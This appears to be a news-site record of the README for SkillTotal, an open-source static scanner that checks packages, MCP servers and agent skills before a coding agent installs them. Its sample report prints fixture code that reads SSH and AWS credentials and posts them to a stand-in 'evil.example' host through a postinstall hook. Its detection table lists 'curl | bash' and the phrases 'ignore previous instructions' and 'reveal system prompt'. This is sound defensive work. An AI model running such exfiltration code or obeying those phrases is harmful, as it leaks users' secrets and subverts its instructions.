{"slug": "show-hn-skilltotal-scan-packages-before-claude-code-installs-them", "title": "Show HN: SkillTotal – scan packages before Claude Code installs them", "summary": "A static security scanner called SkillTotal, released at version v0.84.0, scans npm and PyPI packages, MCP servers, agent skills and plugins, git repositories, local folders, archives and single files for shell execution, install-time hooks, dynamic code execution, obfuscation, MCP risks and prompt-injection phrasing before a coding agent such as Claude Code installs them. SkillTotal runs locally, never executes the code it scans, uses no LLM, and cites a file and line for every finding; it ships as a Claude Code plugin, a GitHub Action that can fail a pull request on high-severity findings, and a CLI installable via pipx. In a sanitized test package, SkillTotal returned a HIGH verdict with a risk score of 70/100 and flagged a CRITICAL ST-COMBO-EXFIL finding for reading ~/.ssh/id_rsa and ~/.aws/credentials followed by network egress, plus a HIGH ST-INSTALL-DROPPER finding for a postinstall hook running steal.js.", "body_md": "A static security scanner for npm and PyPI packages, MCP servers, agent skills and repositories.\n\n  Runs on your machine · never runs the code it scans · no LLM · every finding cites a file and line\n\n[Quick start](https://github.com/pezhik/skilltotal#quick-start) ·\n  [Claude Code plugin](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md) ·\n  [GitHub Action](https://github.com/pezhik/skilltotal/blob/main/docs/ci.md) ·\n  [CLI](https://github.com/pezhik/skilltotal/blob/main/docs/cli.md) ·\n  [What it detects](https://github.com/pezhik/skilltotal/blob/main/docs/detection.md) ·\n  [Try it online](https://www.skilltotal.ai)\n\n<sub>The plugin's real answer for a sanitized test package. No real package is shown.</sub>\n\n```\npipx install skilltotal\nskilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive\n```\n\n**Check what your coding agent installs.** Inside Claude Code:\n\n```\n/plugin marketplace add pezhik/skilltotal\n/plugin install skilltotal@skilltotal\n/reload-plugins\n```\n\n**Gate pull requests.** Add one step to a workflow\n([full example with permissions](https://github.com/pezhik/skilltotal/blob/main/docs/ci.md)):\n\n```\n      - uses: pezhik/skilltotal@v0.84.0\n        with: { source: ., fail-on: high }\n```\n\nTo try it without installing anything, [www.skilltotal.ai](https://www.skilltotal.ai) runs the same engine.\n\nIt scans npm and PyPI packages, MCP servers, agent skills and plugins, git repositories (or one folder of them), local folders, archives and single files, and looks for:\n\n| Category | Examples | \n|---|---|\n| Shell execution | `subprocess.*` ,`os.system` ,`child_process.exec` ,`curl … \\| bash` handed to a shell call | \n| Filesystem access | `open` ,`read_text` /`write_text` ,`fs.readFile` /`writeFile` | \n| Sensitive paths | `~/.ssh` ,`~/.aws` ,`.env` ,`id_rsa` ,`credentials` ,`secrets` | \n| Network egress | `requests` ,`urllib` ,`aiohttp` ,`fetch` ,`axios` | \n| Install-time execution | npm `preinstall` /`postinstall` /`prepare` ,`setup.py` hooks, a lifecycle script that downloads or decodes code and runs it | \n| Dynamic code execution | `eval` ,`exec` ,`compile` ,`new Function` ,`vm.runInNewContext` | \n| Obfuscation | decode-and-execute chains, base64 blobs, hex escaping, minification | \n| MCP risks | manifests, dangerous tools (shell/fs/network/credential), server commands | \n| Prompt surface | \"ignore previous instructions\", \"reveal system prompt\", exfiltration phrasing | \n\nIt also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and\ndata flows such as a credential read followed by network egress. `skilltotal rules list` prints\nevery rule; coverage by component type and accuracy notes are in [docs/detection.md](https://github.com/pezhik/skilltotal/blob/main/docs/detection.md).\n\n## Example report (a sanitized test package from this repository)\n\n``` bash\n$ skilltotal scan tests/fixtures/malicious_npm_pkg\nSkillTotal Security Report\n==========================\nComponent : evil-npm-pkg 0.0.1 (npm_package)\nSource    : tests/fixtures/malicious_npm_pkg\nVerdict   : HIGH - High risk - review before installing\nRisk      : HIGH  (score 70/100)\n\nFindings (3 risk, 4 capability, not scored):\n  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress\n    Evidence:\n      - index.js:7\n        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');\n      - steal.js:3\n        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');\n      - index.js:13\n        fetch('http://evil.example/collect', { method: 'POST', body: key });\n      ... and 1 more (all of them in --json)\n\n  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload\n    Evidence:\n      - package.json:6\n        \"postinstall\": \"node steal.js\"\n  ...\n```\n\nShortened. The full report also prints descriptions, recommendations, capabilities and review items.\n\n- The [Claude Code plugin](https://github.com/pezhik/skilltotal#claude-code-plugin) checks each`npx` ,`npm install` ,`pip install` or`claude mcp add` command before the agent runs it.\n- It runs on your machine without an account, API token, upload or telemetry, and never runs the\ncode it reads ([Network access](https://github.com/pezhik/skilltotal#network-access) ).\n- Detection is regex and AST matching with no LLM, so the same input on the same Python version\ngives the same findings and score. Every finding cites a file and line, and recall and precision\nare [published](https://github.com/pezhik/skilltotal#measured-not-asserted) .\n- Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.\n- Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.\n- It is open source (Apache-2.0), and the full static report is free, forever.\n\nSkillTotal fetches the component (a shallow git clone or the package archive), reads every file\nonce and runs its scanners over them. It correlates the findings (a credential read plus network\negress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the\ncomponent's own files, never at the user, company, environment, deployment or runtime context.\nEvery confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be\ntied to evidence goes to `needs_review`, which never affects the score. A capability such as shell\nor network access is reported but scores zero. Details in [docs/architecture.md](https://github.com/pezhik/skilltotal/blob/main/docs/architecture.md) and [docs/scoring.md](https://github.com/pezhik/skilltotal/blob/main/docs/scoring.md).\n\nBefore an install command runs, the plugin scans each package it names, locally and with the same\nengine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar\ninstalls, `claude mcp add` (and the Codex and Gemini equivalents) and `npx skills add`, including\nwhen they are wrapped in `sudo`, `bash -c`, `$(...)` or PowerShell. Install the CLI first\n(`skilltotal --version` must work where you start Claude Code), then run the three commands from\n[Quick start](https://github.com/pezhik/skilltotal#quick-start).\n\n| The scan finds | What happens to the install | \n|---|---|\n| Malicious indicators | Denied. The agent is told the finding and its file:line | \n| High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time) | Claude Code asks you | \n| Nothing of that kind | It installs. The agent gets a one-line note with the version checked and its score | \n| Anything it would ask about, in CI | Denied: CI is fail-closed (see below) | \n\nEach install command gets a console line saying what was checked, or what was not and why. In CI\n(`CI`, `GITLAB_CI`, `JENKINS_URL` and similar, or `SKILLTOTAL_STRICT=1`) nobody is there to answer,\nso anything it would ask about is denied. Installs it could not check are denied too, unless\n`SKILLTOTAL_ALLOW_UNCHECKED` lists their kind.\n\nIt does not check the dependencies of the named package, installs that name no package (`npm ci`,\n`pip install -r`, `uv sync`; the console says so), scripts on disk, shell-profile aliases or\nfunctions, downloaded scripts (`curl ... | bash`, reported as not checked), repositories fetched\nwith `git clone`, or code already running on your account (it can rewrite the verdict cache or the\nCLI). The plugin is a static check, not a sandbox: run the agent in a container for code you don't\ntrust. It also adds a `/skilltotal:scan <target>` command and registers the SkillTotal MCP server.\nRecognized commands, settings, cache, timing, [team rollout](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md#rolling-out-to-a-team)\nand [troubleshooting](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md#troubleshooting) are in [docs/plugin.md](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md).\n\nRun SkillTotal in CI and see the findings in your repository's **Security → Code scanning** tab.\n\n```\n# .github/workflows/skilltotal.yml\nname: SkillTotal\non: [push, pull_request]\npermissions:\n  contents: read\n  security-events: write   # required to upload SARIF to Code Scanning\n  actions: read            # required for the SARIF upload in a private repository\njobs:\n  scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1\n      - uses: pezhik/skilltotal@v0.84.0\n        with:\n          source: .             # a path, a git URL, or an npm:/pypi:<name> spec\n          fail-on: high         # fail on a high/critical risk finding (or 'none')\n```\n\nA malicious indicator fails the job at any severity; a capability on its own, such as a shell call\nor network access, never does. The log names the gate that tripped and the finding behind it.\nFindings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced\nSecurity; without it, set `upload-sarif: 'false'`. `comment-on-pr: 'true'` (with\n`pull-requests: write`) keeps one summary comment up to date. The repository's `.skilltotal.toml`\nis applied, so put it under CODEOWNERS ([Configuration](https://github.com/pezhik/skilltotal#configuration)).\n[docs/ci.md](https://github.com/pezhik/skilltotal/blob/main/docs/ci.md) covers every input and\noutput, scheduled re-checks of a third-party package, pre-commit, GitLab CI, Jenkins and rolling\nout on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate\non the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):\n\n```\npip install skilltotal==0.84.0      # in a virtual environment outside the checkout\nskilltotal scan . --fail-on high\nskilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:name\nskilltotal scan ./component --json            # JSON to stdout\nskilltotal scan ./component --sarif --output report.sarif\nskilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk finding\nskilltotal scan ./component --write-baseline .skilltotal-baseline.json\nskilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high\nskilltotal diff npm:some-lib@1.2.3 npm:some-lib@1.2.4 --fail-on-new high\nskilltotal guard npm:some-mcp-server          # exit 2 if it should not be installed\nskilltotal guard --installed                  # check the MCP servers, plugins and skills your agents use\nskilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stack\nskilltotal rules list\n```\n\n`scan` on its own exits 0 whatever it finds, even for a malicious verdict. In a script, use\n`skilltotal guard` or a gate (`--fail-on`) and check the exit code. Every flag, exit code and gate\nis described in the [CLI reference](https://github.com/pezhik/skilltotal/blob/main/docs/cli.md).\n\n`skilltotal mcp` runs the engine as a stdio MCP server so your agent can check a component before\ninstalling it. The Claude Code plugin already registers it. In Claude Code without the plugin:\n\n```\nclaude mcp add skilltotal -- skilltotal mcp\n```\n\nFor Claude Desktop, Cursor, Windsurf or any client that reads `mcpServers`:\n\n```\n{ \"mcpServers\": { \"skilltotal\": { \"command\": \"skilltotal\", \"args\": [\"mcp\"] } } }\n```\n\nIt has three read-only tools: `scan_component` (a local path, git URL, `npm:` or `pypi:` source),\n`diff_components` (what changed between two versions) and `list_rules`. VS Code, the `uvx`/` npx`\nforms and the path rules are in [docs/mcp-server.md](https://github.com/pezhik/skilltotal/blob/main/docs/mcp-server.md).\n\nRequires **Python 3.10+**, with zero runtime dependencies. `git` is needed only for scanning\nremote URLs and for `scan --staged`. Scanning inside a directory you don't trust and other install\ndetails are in [docs/cli.md](https://github.com/pezhik/skilltotal/blob/main/docs/cli.md#install).\n\n```\npipx install skilltotal      # recommended for the CLI; then `pipx ensurepath` if it is not found\npip install skilltotal       # into a virtual environment, or to use it as a library\n```\n\nWith npx (it needs uv, pipx, or Python 3.11+ with `skilltotal` installed), name the release with\n`--package` so npx does not run a `skilltotal` from the scanned repository's `node_modules/.bin`:\n\n```\nnpx -y --package=skilltotal@0.84.0 -- skilltotal scan https://github.com/owner/repo\n```\n\n- **[Detection efficacy](https://github.com/pezhik/skilltotal/blob/main/docs/efficacy-report.md)** :\nrecall and precision on a labeled corpus we built and publish (144 malicious and\n106 benign samples), regenerated every release and enforced by CI as a floor. A perfect score on\nour own corpus guards against regressions; it is not a claim about every attack in the wild.\nEach rule behind the survey's OWASP class counts also has labeled samples of its own, listed in\nthe report's rule coverage table.\n- **[The MCP registry, scanned](https://github.com/pezhik/skilltotal/blob/main/docs/mcp-registry-survey.md)** (September 2026, engine 0.49.0, rulesets 56 to 59; later rule changes are not reflected): 15,341\nof the 17,535 distinct components in the official registry (87.5%). Of those scanned, 88.2%\nexpose tools to an agent, 64.8% can reach the network and 21.1% can execute shell commands.\nStill, all but 116 of them score low risk, because a capability on its own scores zero. Before\nthis run we read every malicious-indicator hit from an earlier run by hand and fixed the false positives.[Aggregates (JSON)](https://github.com/pezhik/skilltotal/blob/main/docs/mcp-registry-survey.json) ·[the harness](https://github.com/pezhik/skilltotal/blob/main/tests/manual_eval/survey_registry.py) .\n\n- **Files over 2 MiB are not read.** Minified JavaScript/TypeScript bundles are listed but not\nanalyzed, except the scripts npm runs at install. A low verdict then reads \"Partially analyzed\".\n- **Dependencies are not scanned.**`node_modules/` ,`vendor/` and virtual environments are skipped.\n- **Code fetched or generated at run time is not analyzed** , nor are binaries and compiled artifacts.\n- **Languages.** Shell execution, network access, file access and dynamic code are analyzed in\nPython and JavaScript/TypeScript. Shell, PowerShell and batch scripts are checked for\ndownload-and-run, decode-and-run and evasion idioms. Other languages get only the secret,\nsensitive-path and hidden-Unicode checks.\n- **The default gate does not count unread code** , and unread code never passes in silence: the\nlog names it (`Not everything was analyzed: ...` ), the verdict reads \"Partially analyzed\", and`--fail-on-unanalyzed` fails on it. That covers files over 2 MiB, minified bundles, code in\nlanguages not analyzed for behavior, and compiled code shipped without its source (a`.pyc` ,`.pyo` or`.class` with no`.py` or`.java` of the same name beside it).\n- **Detection is at the call/import level.** A capability shows the code is there, not that it is\nmisused. SkillTotal does not replace a sandbox, a penetration test or a manual code review.\n\nFor how the four bypasses published in June 2026 fare against this engine, see [What we catch](https://www.skilltotal.ai/what-we-catch).\nThe full list is in [docs/detection.md](https://github.com/pezhik/skilltotal/blob/main/docs/detection.md#limitations).\n\nCommit a `.skilltotal.toml` instead of repeating flags: gate levels, excludes, ignored rules, a\nbaseline file and per-rule `block` / `warn` / `ignore` policy. To accept a single finding, add an\ninline `skilltotal:ignore[ST-ID]` comment. Limits and registry mirrors are set with `SKILLTOTAL_*`\nenvironment variables. In CI the scanned repository's own config and markers apply, so put\n`.skilltotal.toml` and the baseline under CODEOWNERS with branch protection ([docs/configuration.md](https://github.com/pezhik/skilltotal/blob/main/docs/configuration.md)).\n\nA scan of a local folder, archive or file makes no network request. SkillTotal goes online only for:\n\n- **git URLs:**`git clone --depth 1` ; for github.com, GitHub REST API calls (`api.github.com` )\nfirst, to check the size of what would be cloned\n- **`npm:` / `pypi:` sources:** package metadata and archive from`registry.npmjs.org` or PyPI\n(`pypi.org` and its file host), or from your mirror (`SKILLTOTAL_NPM_REGISTRY` ,`SKILLTOTAL_PYPI_INDEX` )\n- **`--provenance`:** the package's registry metadata\n- **`inventory`, `guard --installed`, the Claude Code plugin and the MCP server:** the same registries and git hosts, for the packages they check\n\nIt sends no telemetry, needs no account and makes no LLM call.\n\nThis engine (the analysis, all detection rules and the CLI) is open source and complete on its\nown, free to run locally or in CI. Paid features are planned for SkillTotal Cloud as server-side\nservices on top of it; their code is not part of this repository ([docs/open-core.md](https://github.com/pezhik/skilltotal/blob/main/docs/open-core.md)).\n\n| Section | Now in | \n|---|---|\n| [Usage,] [exit codes,] [status badge] | [docs/cli.md](https://github.com/pezhik/skilltotal/blob/main/docs/cli.md) | \n| [Project config,] [inline suppression,] [environment variables,] [registry mirrors] | [docs/configuration.md](https://github.com/pezhik/skilltotal/blob/main/docs/configuration.md) | \n| Action inputs and outputs, [pre-commit,] [other CI systems,] [rolling out] | [docs/ci.md](https://github.com/pezhik/skilltotal/blob/main/docs/ci.md) | \n| MCP server clients and path rules | [docs/mcp-server.md](https://github.com/pezhik/skilltotal/blob/main/docs/mcp-server.md) | \n| [What it detects,] [coverage by component type,] [typical findings,] [verdict,] [out of scope,] [accuracy notes] | [docs/detection.md](https://github.com/pezhik/skilltotal/blob/main/docs/detection.md) | \n| Malware archetypes and the rules that catch them | [docs/detection-coverage.md](https://github.com/pezhik/skilltotal/blob/main/docs/detection-coverage.md) | \n| [Report output, traits, OWASP mapping] | [docs/report-schema.md](https://github.com/pezhik/skilltotal/blob/main/docs/report-schema.md) | \n| Claude Code plugin reference | [docs/plugin.md](https://github.com/pezhik/skilltotal/blob/main/docs/plugin.md) | \n| [Architecture] | [docs/architecture.md](https://github.com/pezhik/skilltotal/blob/main/docs/architecture.md) | \n\n[Development setup:] `pip install -e \".[dev]\"`, then `pytest`. Detection rules are\nadded corpus-first ([docs/contributing-rules.md](https://github.com/pezhik/skilltotal/blob/main/docs/contributing-rules.md)).\n[Report false positives](https://github.com/pezhik/skilltotal/issues) as issues; they are fixed in the open.\nSecurity issues: [SECURITY.md](https://github.com/pezhik/skilltotal/blob/main/SECURITY.md).\n\n[Apache-2.0](https://github.com/pezhik/skilltotal/blob/main/LICENSE), see also [NOTICE](https://github.com/pezhik/skilltotal/blob/main/NOTICE).", "url": "https://wpnews.pro/news/show-hn-skilltotal-scan-packages-before-claude-code-installs-them", "canonical_source": "https://github.com/pezhik/skilltotal", "published_at": "2026-10-27 12:58:20+00:00", "updated_at": "2026-10-27 13:12:45.861314+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "ai-tools", "developer-tools", "agent-protocols"], "entities": ["SkillTotal", "Claude Code", "npm", "PyPI", "GitHub", "pezhik"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/show-hn-skilltotal-scan-packages-before-claude-code-installs-them", "markdown": "https://wpnews.pro/news/show-hn-skilltotal-scan-packages-before-claude-code-installs-them.md", "text": "https://wpnews.pro/news/show-hn-skilltotal-scan-packages-before-claude-code-installs-them.txt", "jsonld": "https://wpnews.pro/news/show-hn-skilltotal-scan-packages-before-claude-code-installs-them.jsonld"}}